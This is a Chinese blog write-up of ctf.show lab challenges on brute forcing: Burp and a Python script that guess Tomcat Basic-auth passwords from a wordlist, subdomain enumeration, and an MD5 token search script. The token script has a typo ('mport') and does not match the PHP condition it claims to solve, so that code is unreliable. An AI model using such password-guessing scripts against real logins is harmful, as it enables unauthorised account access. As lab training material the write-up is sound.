CTF-show-爆破


1、web21

tomcat认证爆破–用户名:密码,一般使用custom iterator爆破

https://www.cnblogs.com/007NBqaq/p/13220297.html

得到爆破字典和需要输入账号密码的网页,于是先尝试输入账号admin密码1234进行抓包

抓包后没有看到admin或password的字段,但是看到一串base编码

base64编码

解码结果为admin:1234即为我们输入的账号和密码

将数据包发送到爆破模块,选择中账号密码

账号密码

选择自定义迭代器,分别导入字典

自定义迭代器

position1:用户名

admin

position2:

冒号

position3:密码

密码

选择Payload Processing进行编码设置

编码设置

因为base64编码存在=,所以取消Palyload Encoding编码,爆破即可得到flag

提示也有脚本

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import time
import requests
import base64

url = 'http://xxxx.ctf.show/index.php'

password = []

with open("1.txt", "r") as f:  
    while True:
        data = f.readline() 
        if data:
            password.append(data)
        else:
          break
        

for p in password:
    strs = 'admin:'+ p[:-1]
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    }
    rep =requests.get(url,headers=header)
    time.sleep(0.2)
    if rep.status_code ==200:
        print(rep.text)
        break

2、web22

根据题目提示爆破子域名,使用在线工具进行爆破即可

子域名查询

访问vip.ctf.show时即可得到flag

3、web23

关键代码

if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
}

isset():检测变量是否已设置并且非NULL,若传入多个参数,只有全部非NULL才会返回true

intval():获取变量的整数值,不能用于object

PHP的三个等号:比较对象的值和类型都要一样

两个等号:值相等即可

$a=10
$b='10'
$a==$b  //true
$a===$b  //false,a是数字型,b是字符型

此代码的意思为:

当md5码满足,第二位=第15位=第18位时,如果(第二位+第15位+第18位/第二位=第32位)整数,时输出flag

因此脚本为:

大佬的python脚本:

mport hashlib
dic = "0123456789qazwsxedcrfvtgbyhnujmikolp"
for a in dic:
    for b in dic:
        t = (str(a)+str(b)).encode("utf-8")
        md5 = hashlib.md5(t).hexdigest()
        if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
            if int(float(md5[1:2]))+int(float(md5[14:15]))+int(float(md5[17:18]))/int(float(md5[1:2]))==int(float(md5[31:32])):
                print(t)

hashlib是涉及安全散列和消息摘要,提供不同的加密算法接口,如MD5、SHA1、SHA224

digest()返回摘要,作为二进制数据字符串值

hexdigest()返回摘要,作为十六进制数据字符串值

传递运行出的token即可

URL


文章作者: 17mie32
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 17mie32 !
  目录